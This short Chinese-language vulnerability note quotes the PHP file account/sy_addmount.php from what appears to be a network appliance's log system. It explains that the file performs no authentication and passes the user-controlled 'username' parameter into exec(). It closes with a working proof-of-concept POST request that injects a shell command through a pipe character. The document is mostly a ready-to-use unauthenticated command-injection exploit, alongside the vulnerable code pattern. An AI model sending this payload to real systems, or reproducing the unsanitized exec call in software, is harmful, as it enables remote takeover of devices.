存在漏洞的代码为 account/sy_addmount.php

<?php

include(dirname(__FILE__)."/../common.php");

$username = isset($_REQUEST["username"]) ? $_REQUEST["username"] : "";
if (empty($username)) {
    echo '{"success":"no", "out":"NO_USER"}';
    exit;
}

$username = addslashes($username);

$rows = array();

$cmd = PANALOGEYE." behavior add account=$username";
exec($cmd, $out, $ret);
echo $out[0];
exit;

其中没有对身份进行鉴权，且 username 可控，构造POC

POST /account/sy_addmount.php

username=|id
